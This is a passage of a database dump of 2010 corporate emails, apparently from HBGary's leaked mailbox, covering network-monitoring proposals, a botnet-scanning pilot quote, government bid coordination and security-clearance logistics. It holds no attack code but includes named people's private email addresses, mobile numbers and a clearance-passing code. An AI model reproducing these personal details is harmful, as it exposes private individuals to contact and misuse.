<penny@hbgary.com>,\"Michael G. Spohn\" <mike@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Network monitoring at QNA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMike, Greg, Penny, and Aaron,\r\n\r\n&nbsp;\r\n\r\nQNA wants us to expand our managed services proposal to\r\ninclude monitoring the network.&nbsp; Including the network would allow us to charge\r\nmore and it will make our host monitoring better if we also have network\r\nvisibility.\r\n\r\n&nbsp;\r\n\r\nA complication is that QNA has 6-7 locations. &nbsp;We&#8217;ve\r\nbeen talking about Fidelis but it is my understanding that Fidelis requires a\r\nbox at each location.&nbsp; \r\n\r\n&nbsp;\r\n\r\nGiven the cost of Fidelis this may not make sense.&nbsp; Is there\r\na cheap or freeware alternative?&nbsp; I want to get QNA a proposal by COB Monday.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16807,'aaron_hbgary_com/16807.html'),(10295,'2010-08-13','\"Leary, Mark F (TASC)\" <Mark.Leary@tasc.com>','/aaron@hbgary.com/new/1297008016.M67130P14101Q5149.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Discussion','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI’m always up for a beer as long a it doesn’t make me end up in\r\na hospital.  Last time I was on a table getting cut 7 hours after Sweetwater. \r\nMaybe I should stick to wine.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: messages-noreply@bounce.linkedin.com\r\n[mailto:messages-noreply@bounce.linkedin.com] On Behalf Of Aaron Barr\r\nSent: Wednesday, August 11, 2010 4:32 PM\r\nTo: Leary, Mark F (TASC)\r\nSubject: EXTERNAL:Discussion\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  LinkedIn\r\n  Aaron\r\n  Barr\r\n  has sent you a message.\r\n  Date: 8/11/2010 \r\n  Subject: Discussion \r\n  OK\r\n  Mr. CISO, \r\n  \r\n  When available I would like to schedule a discussion/demo of some of our\r\n  products/capabilities. I know you had a bad experience, but I think we will\r\n  have a much different discussion this go around. HBGary\'s enterprise product,\r\n  Active Defense, has a great deployment track record so far, Responder and\r\n  DDNA, likewise are getting lots of great feedback. \r\n  \r\n  On the HBGary Federal side about the only thing I might be able to offer you\r\n  is what we are doing for social media awareness training. \r\n  \r\n  Let me know when you have some time. \r\n  \r\n  Aaron \r\n  View/reply to this message\r\n  \r\n  Don\'t want to receive\r\n  e-mail notifications? Adjust your message settings.\r\n  \r\n  © 2010, LinkedIn Corporation\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15887,'aaron_hbgary_com/15887.html'),(10296,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008021.M957025P14101Q5151.eml','\"Barr Aaron\" <aaron@hbgary.com>','Proof Read','Please review real quick if you have a sec.  I need to send out today.\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',4850,'aaron_hbgary_com/4850.html'),(10297,'2010-08-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008022.M609730P14101Q5152.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Botnet Pilot Project','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Fri, Aug 13, 2010 at 4:50 PM\r\nSubject: Botnet Pilot Project\r\nTo: \"Lukach, John\" \r\nCc: mark@hbgary.com\r\n\r\n\r\nJohn,\r\n\r\nAttached is the quote for the Botnet Pilot Project as discussed.  We\r\nare drafting the service level agreement, however it is not yet\r\ncomplete.  It will be finished within the next couple of weeks.\r\n\r\nI will be on travel all of next week, attending the GFIRST conference,\r\nso I will not be able to personally do the Webex demo of the web-based\r\ninterface.  Mark Trynor (cc\'d) will coordinate a time with you late\r\nnext week to conduct the Webex using IP addresses that you provide.\r\nPlease note that the full-blown Customer Portal with detailed reports\r\nwill be done NLT 15 October.  Starting 1 September you will have\r\naccess to our beta interface, which is very basic, but effective.  It\r\nallows you to submit a range of IP addresses and get the results.\r\nAlternatively you can give it an organization name and it will\r\nautomatically do the ARIN lookup, and run the query for the netblocks\r\nreturned.  We will also send you the API documentation which will\r\nallow you to automate the adhoc queries using your own web\r\napplications (ie - scan customer IP addresses upon successful login to\r\nyour bank webpage).\r\n\r\nThis pricing is discounted for participation in the Pilot Project.  We\r\nwill solicit and welcome your feedback during the Pilot to help us\r\nimprove the service and tailor it to meet your needs.\r\n\r\nIf you have any questions please feel free to contact me.\r\n\r\nTed\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',13090,'aaron_hbgary_com/13090.html'),(10298,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008022.M910267P14101Q5153.eml','\"Greg Hoglund\" <greg@hbgary.com>','Incorporating Swarm Intelligence Into Computer AI','Incorporating Swarm Intelligence Into Computer AIAn anonymous reader writes &quot;From optimizing truck delivery routes to inspiring nerve-cell-based cognition models, ant intelligence has arrived. From the Economist: &#39;In 1992 Dr. Dorigo and his group began developing Ant Colony Optimisation (ACO), an algorithm that looks for solutions to a problem by simulating a group of ants wandering over an area and laying down pheromones. ACO proved good at solving travelling-salesman-type problems. Since then it has grown into a whole family of algorithms, which have been applied to many practical questions. ... Ant-like algorithms have also been applied to the problem of routing information through communication networks. Dr. Dorigo and Gianni Di Caro, another researcher at IDSIA, have developed AntNet, a routing protocol in which packets of information hop from node to node, leaving a trace that signals the &quot;quality&quot; of their trip as they do so. Other packets sniff the trails thus created and choose accordingly. In computer simulations and tests on small-scale networks, AntNet has been shown to outperform existing routing protocols.&quot;\r\n \r\nRead more of this story at Slashdot.\r\nSent from my iPad\r\n',3404,'aaron_hbgary_com/3404.html'),(10299,'2010-08-14','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008023.M155886P14101Q5154.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>','Approach Sections','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam-\r\n\r\n&nbsp;\r\n\r\nWe need to ensure the content across the 5 major technical\r\napproaches is specific, clear, and connected for the government\r\nevaluators. \r\n\r\n&nbsp;\r\n\r\nMuch of the content we&#8217;re getting is verbose, not\r\ncrisp, and not relevant.\r\n\r\n&nbsp;\r\n\r\nFor your 2pm deliveries of content today, ensure that your &nbsp;assigned\r\nTechnical Approach include specifically the following:\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSummarize the governments REQUIREMENTS\r\nfor the area. &nbsp;Don&#8217;t copy and paste what they gave us &#8211;\r\nrewrite it so it&#8217;s clear you understand what they mean. Use both the\r\ntechnical approach sections, as well as the labor cat descriptions supporting that\r\narea to ensure you cover the bases. &nbsp;3-5 sentences.\r\n\r\n&nbsp;\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDraw a 4-10 box process DIAGRAM,\r\nexplaining our approach to doing this area of technical approach, like this :\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMake a table of the PROCESS diagram\r\nsteps, like this:\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Step No.\r\n  \r\n  \r\n  Step Name\r\n  \r\n  \r\n  Description\r\n  \r\n  \r\n  Metrics and Quality\r\n  Control Approach\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMake a table of the TOOLS, LABS, ETC. that\r\nyou either have used or propose to use in the approach, like this:\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Name\r\n  \r\n  \r\n  Tool Purpose\r\n  \r\n  \r\n  Key Tool Outputs\r\n  (Reports, Alerts, etc.)\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAssigments:\r\n\r\n1.3.1 &#8211; Compliance &#8211; Telos \r\n\r\n1.3.2 &#8211; Support - Telos\r\n\r\n1.3.3 &#8211; Technical Services &#8211; HBGary\r\n\r\n1.3.4 &#8211; General &nbsp;Requirements - NGC\r\n\r\n1.3.5 &#8211; Cyber Critical Infrastructure and Planning Support\r\n- NGC\r\n\r\n&nbsp;\r\n\r\nEmail me (copy Kirby) or call on cell if you have any\r\nquestions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15569,'aaron_hbgary_com/15569.html'),(10300,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008023.M437167P14101Q5155.eml','\"Greg Hoglund\" <greg@hbgary.com>','compromise statistics','Greg,\r\n\r\nDo you have any readily available good threat statistics.  I would like to be able to show the steady rise in threats, I would think this would be easy to find, but turns out not for me.\r\n\r\nAaron',10576,'aaron_hbgary_com/10576.html'),(10301,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008029.M921595P14101Q5156.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"Bill Luti\" <wluti@digitalmanagement.com>','Overall Solution','Still working this right now but wanted to get something in front of you.\r\n\r\nAaron\r\n\r\n',5438,'aaron_hbgary_com/5438.html'),(10302,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008038.M230484P14101Q5157.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Update','\r\n',15632,'aaron_hbgary_com/15632.html'),(10303,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008038.M556622P14101Q5158.eml','\"Mary Sullivan\" <mary.sullivan@fidelissecurity.com>','Fidelis configurations','Hey Mary,\r\n\r\nI am sure you have talked to Bob about another customer that is interested in us taking over the network monitoring.  They have 6-7 locations, each with their separate egress point.  Bobs concern is given the size of each location (not big) they wouldn\'t want to put a fidelis box at $20K in each location.  Thoughts?\r\n\r\nI am recommending a pilot at one location to prove efficacy and then we can talk about the others.  What other solutions are there?\r\n\r\nAaron\r\n\r\n',12376,'aaron_hbgary_com/12376.html'),(10304,'2010-08-14','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008038.M798214P14101Q5159.eml','\"Aaron Barr\" <aaron@hbgary.com>','Out of Office AutoReply: Fidelis configurations','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Fidelis configurations\r\n\r\n\r\n\r\n\r\nI am out of the office August 16 to 20 but will be checking email and voicemail. Stop by the Fidelis booth if you are at the GFirst conference in San Antonio.\r\n\r\n\r\n',5079,'aaron_hbgary_com/5079.html'),(10305,'2010-08-14','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008039.M342149P14101Q5161.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Update','This is great stuff!  I have 44 mins to incorporate into a version of Vol 1 for Ken, who arrives at noon.  \r\n\r\nIf there\'s any way you can be here from 1-4pm today while Ken is here, he will appreciate it greatly.  \r\n\r\n-John\r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, August 14, 2010 8:45 AM\r\nTo: John Fanguy\r\nSubject: Update\r\n\r\n\r\n',12783,'aaron_hbgary_com/12783.html'),(10306,'2010-08-14','\"LinkedIn Subscriptions\" <welcome@linkedin.com>','/aaron@hbgary.com/new/1297008039.M502P14101Q5160.eml','\"Aaron Barr\" <aaron@hbgary.com>','IMPORTANT: Please update your account information','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\nDear Aaron,\r\n\r\nThank you for being a LinkedIn premium subscriber.\r\n\r\nWe recently attempted to charge your subscription fee to the credit card on file, however we were unable to do so because the card issuer declined the transaction.\r\n\r\nTo avoid losing access to premium account features, please update your credit card information or enter a new credit card. Please note that your subscription will expire in five days if you do not update this information and you may be subject to new pricing for your current account level.\r\n\r\nIf you have questions about your account, please contact LinkedIn\'s Customer Service.\r\n\r\nThank you for using LinkedIn!\r\n\r\n--The LinkedIn Team\r\n\r\n\r\n\r\n\r\n\r\n&copy; 2010 LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15280,'aaron_hbgary_com/15280.html'),(10307,'2010-08-14','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008039.M557109P14101Q5162.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Update','Be sure and version your .doc files:  TSA-ITSSS-Vol1-Solution Overview - v3(ab).doc....\r\n\r\nI almost copied in the prior version of your doc b/c you used the same file name.\r\n\r\n-John\r\n\r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, August 14, 2010 8:45 AM\r\nTo: John Fanguy\r\nSubject: Update\r\n\r\n\r\n',3158,'aaron_hbgary_com/3158.html'),(10308,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008039.M755959P14101Q5163.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Update','First iteration.  I am a circle the toilet bowl kind of a proposal writer... hmmm maybe a bad metaphor, meaning I get better with every iteration, not that it all flushes down the toilet in the end. :)\r\n\r\nI will see what I can do.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 14, 2010, at 10:46 AM, John Fanguy wrote:\r\n\r\n> This is great stuff!  I have 44 mins to incorporate into a version of Vol 1 for Ken, who arrives at noon.  \r\n> \r\n> If there\'s any way you can be here from 1-4pm today while Ken is here, he will appreciate it greatly.  \r\n> \r\n> -John\r\n> \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, August 14, 2010 8:45 AM\r\n> To: John Fanguy\r\n> Subject: Update\r\n> \r\n> \r\n\r\n',10252,'aaron_hbgary_com/10252.html'),(10309,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008039.M987462P14101Q5164.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Update',':0 right.\r\n\r\n\r\nOn Aug 14, 2010, at 10:48 AM, John Fanguy wrote:\r\n\r\n> Be sure and version your .doc files:  TSA-ITSSS-Vol1-Solution Overview - v3(ab).doc....\r\n> \r\n> I almost copied in the prior version of your doc b/c you used the same file name.\r\n> \r\n> -John\r\n> \r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, August 14, 2010 8:45 AM\r\n> To: John Fanguy\r\n> Subject: Update\r\n> \r\n> \r\n\r\n',4447,'aaron_hbgary_com/4447.html'),(10310,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008040.M387953P14101Q5165.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Update','I\'ll be there round 1pm.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 14, 2010, at 10:46 AM, John Fanguy  wrote:\r\n\r\n> This is great stuff!  I have 44 mins to incorporate into a version of Vol 1 for Ken, who arrives at noon.\r\n>\r\n> If there\'s any way you can be here from 1-4pm today while Ken is here, he will appreciate it greatly.\r\n>\r\n> -John\r\n>\r\n> VP\r\n> Digital Management, Inc.\r\n> 301-346-6749 cell\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Saturday, August 14, 2010 8:45 AM\r\n> To: John Fanguy\r\n> Subject: Update\r\n>\r\n>\r\n',3895,'aaron_hbgary_com/3895.html'),(10311,'2010-08-14','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008040.M598192P14101Q5166.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fidelis configurations','Aaron,\r\nLet\'s talk today or this weekend. Organizatons with many small  \r\nconnections have always been tough for us--that\'s why I love fed with  \r\nfew giant connections.  Each debice has two monitoring interfaces so  \r\nif they can switch, tap, or span the traffic to fewer devices that may  \r\nwork. Let\'s talk.\r\nMary\r\n\r\nSent from my mobile--excuse typos or brevity\r\n\r\nOn Aug 14, 2010, at 9:33 AM, \"Aaron Barr\"  wrote:\r\n\r\n> Hey Mary,\r\n>\r\n> I am sure you have talked to Bob about another customer that is  \r\n> interested in us taking over the network monitoring.  They have 6-7  \r\n> locations, each with their separate egress point.  Bobs concern is  \r\n> given the size of each location (not big) they wouldn\'t want to put  \r\n> a fidelis box at $20K in each location.  Thoughts?\r\n>\r\n> I am recommending a pilot at one location to prove efficacy and then  \r\n> we can talk about the others.  What other solutions are there?\r\n>\r\n> Aaron\r\n>\r\n',4100,'aaron_hbgary_com/4100.html'),(10312,'2010-08-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008040.M824567P14101Q5167.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Fidelis configurations','Sent from my iPhoneBegin forwarded message:From: &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt;\r\nDate: August 14, 2010 11:35:46 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: Re: Fidelis configurations\r\nAaron,Let&#39;s talk today or this weekend. Organizatons with many small connections have always been tough for us--that&#39;s why I love fed with few giant connections.  Each debice has two monitoring interfaces so if they can switch, tap, or span the traffic to fewer devices that may work. Let&#39;s talk.\r\nMarySent from my mobile--excuse typos or brevityOn Aug 14, 2010, at 9:33 AM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\nHey Mary,I am sure you have talked to Bob about another customer that is interested in us taking over the network monitoring.  They have 6-7 locations, each with their separate egress point.  Bobs concern is given the size of each location (not big) they wouldn&#39;t want to put a fidelis box at $20K in each location.  Thoughts?\r\nI am recommending a pilot at one location to prove efficacy and then we can talk about the others.  What other solutions are there?\r\nAaron\r\n',9404,'aaron_hbgary_com/9404.html'),(10313,'2010-08-14','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297008041.M291733P14101Q5169.eml','\"Aaron Barr\" <aaron@hbgary.com>','Event declined: Palantir Discussions','Ted Vera has declined your iCal event invitation to the event: Palantir Discussions, scheduled for August 13, 2010 at 4:30 PM (GMT+00:00).\r\n',4159,'aaron_hbgary_com/4159.html'),(10314,'2010-08-14','kathyrondon@aol.com','/aaron@hbgary.com/new/1297008041.M50098P14101Q5168.eml','Brad.Stewart@mantech.com,samuel.corbitt@siegetechnologies.com,aaron@hbgary.com,cholmes@telemussolutions.com,james.berman@inceptre.com,jason.syversen@siegetechnologies.com,barlow.katrina@gmail.com,nuhad.karaki@inceptre.com,obrienp@thebuffalogroup.com,ted@hbgary.com,Brad.Stewart@mantech.com,samuel.corbitt@siegetechnologies.com,aaron@hbgary.com,cholmes@telemussolutions.com,james.berman@inceptre.com','Re: Gatorbait Team - Clearance Passing','Brad,\r\n\r\n\r\n\r\nI recently passed security info, got briefed, signed paperwork at ManTech for the VULCAN contract ECP. &nbsp;So, I think I\'m good. &nbsp;Carey--could you check and see whether I\'m set through 31 December or if I need to do this again?\r\n\r\n\r\n\r\n\r\nKR\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Stewart, Brad &lt;Brad.Stewart@mantech.com&gt;\r\nTo: samuel.corbitt@siegetechnologies.com; aaron@hbgary.com; cholmes@telemussolutions.com; james.berman@inceptre.com; jason.syversen@siegetechnologies.com; kathyrondon@aol.com; barlow.katrina@gmail.com; nuhad.karaki@inceptre.com; obrienp@thebuffalogroup.com; ted@hbgary.com\r\nCc: Mentzer, Justin C &lt;Justin.Mentzer@ManTech.com&gt;; Seery, Carey A &lt;Carey.Seery@ManTech.com&gt;; Simpson, Patrick B &lt;Patrick.Simpson@ManTech.com&gt;; Contee, Maxine E &lt;Maxine.Contee@ManTech.com&gt;; Ott, Stephen D &lt;Stephen.Ott@ManTech.com&gt;\r\nSent: Thu, Aug 12, 2010 1:56 pm\r\nSubject: Gatorbait Team - Clearance Passing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 td{color: black;}   @font-face {font-family:\"Cambria Math\"; panose-1:2 4 5 3 5 4 6 3 2 4;}@font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4;}@font-face {font-family:Tahoma; panose-1:2 11 6 4 3 5 4 4 2 4;}@font-face {font-family:Georgia; panose-1:2 4 5 2 5 4 5 2 3 3;}@font-face {font-family:Times-Bold; panose-1:0 0 0 0 0 0 0 0 0 0;}@font-face {font-family:Times-Roman; panose-1:0 0 0 0 0 0 0 0 0 0;}@font-face {font-family:Times-Italic; panose-1:0 0 0 0 0 0 0 0 0 0;}  #AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 p.MsoNormal,#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6  li.MsoNormal,#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6  div.MsoNormal {margin:0in; margin-bottom:.0001pt; font-size:11.0pt; font-family:\"Calibri\",\"sans-serif\";}#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 a:link,#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6  span.MsoHyperlink {mso-style-priority:99; color:blue; text-decoration:underline;}#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 a:visited,#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6  span.MsoHyperlinkFollowed {mso-style-priority:99; color:purple; text-decoration:underline;}#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 p.MsoAcetate,#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6  li.MsoAcetate,#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6  div.MsoAcetate {mso-style-priority:99; mso-style-link:\"Balloon Text Char\"; margin:0in; margin-bottom:.0001pt; font-size:8.0pt; font-family:\"Tahoma\",\"sans-serif\";}#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 span.EmailStyle17 {mso-style-type:personal-compose; font-family:\"Calibri\",\"sans-serif\"; color:windowtext;}#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 span.BalloonTextChar {mso-style-name:\"Balloon Text Char\"; mso-style-priority:99; mso-style-link:\"Balloon Text\"; font-family:\"Tahoma\",\"sans-serif\";}#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 .MsoChpDefault {mso-style-type:export-only;}@page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in;}#AOLMsgPart_3_585bae4f-fe04-4eb2-a301-1ab09b464ce6 div.WordSection1 {page:WordSection1;}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe are kicking off the Gatorbait\r\nproposal soon and I wanted to get some of the security details out of the\r\nway.&nbsp; I had requested contacts for your company and need you to pass your\r\nclearances over to us.&nbsp; We want to make these good until December 31, 2010\r\nso we are set for the entire effort.&nbsp; Please note that I will be\r\nunavailable for the next two weeks so please direct questions to either Justin\r\n(BD Representative) or Carey (Security Representative). \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWe are looking at having a team\r\nkickoff on or about August 19, 2010.&nbsp; You will receive an invite to this\r\nmeeting when the details are finalized from Justin Mentzer.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nInformation for passing\r\nclearances.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIncoming Visit Certifications:\r\n\r\n\r\n\r\nAll visitors (non-ManTech\r\nemployees) must have their visit certification on file with ManTech Security no\r\nlater than two (2) business days prior to the meeting. Clearances may be\r\npassed\r\n\r\n\r\n\r\nvia:\r\n\r\n\r\n\r\nMail: ManTech International\r\n\r\n\r\n\r\nc/o Security\r\n\r\n\r\n\r\n7799 Leesburg Pike, Suite 700S\r\n\r\n\r\n\r\nFalls Church, VA 22043\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFAX: 703-847-0996 (U) \r\n\r\n\r\n\r\n703-847-0995 (S)\r\n\r\n\r\n\r\nJPAS: Use SMO Code 0C0P65 or\r\nanother government authorized system (see Security for details)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYour security POC is Carey Seery\r\n(703) 610-9244\r\n\r\n\r\n\r\nYour BD POC is Justin Mentzer\r\n(703) &nbsp;388-2122\r\n\r\n\r\n\r\nYour line POC is Patrick Simpson\r\n(703) 377-2168\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrad\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrad\r\nStewart, PMP\r\n\r\n\r\n\r\nCapture\r\nManagement\r\n\r\n\r\n\r\nManTech\r\nInternational Corporation\r\n\r\n\r\n\r\nMission\r\nCyber &amp; Technology Solutions\r\n\r\n\r\n\r\n703-869-4088\r\n(c) \r\n\r\n\r\n\r\n703-326-3467\r\n(o)\r\n\r\n\r\n\r\nEmail:\r\nBrad.Stewart@mantech.com\r\n\r\n\r\n\r\nwww.mantech.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBidding the Right Opportunities and Winning\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n 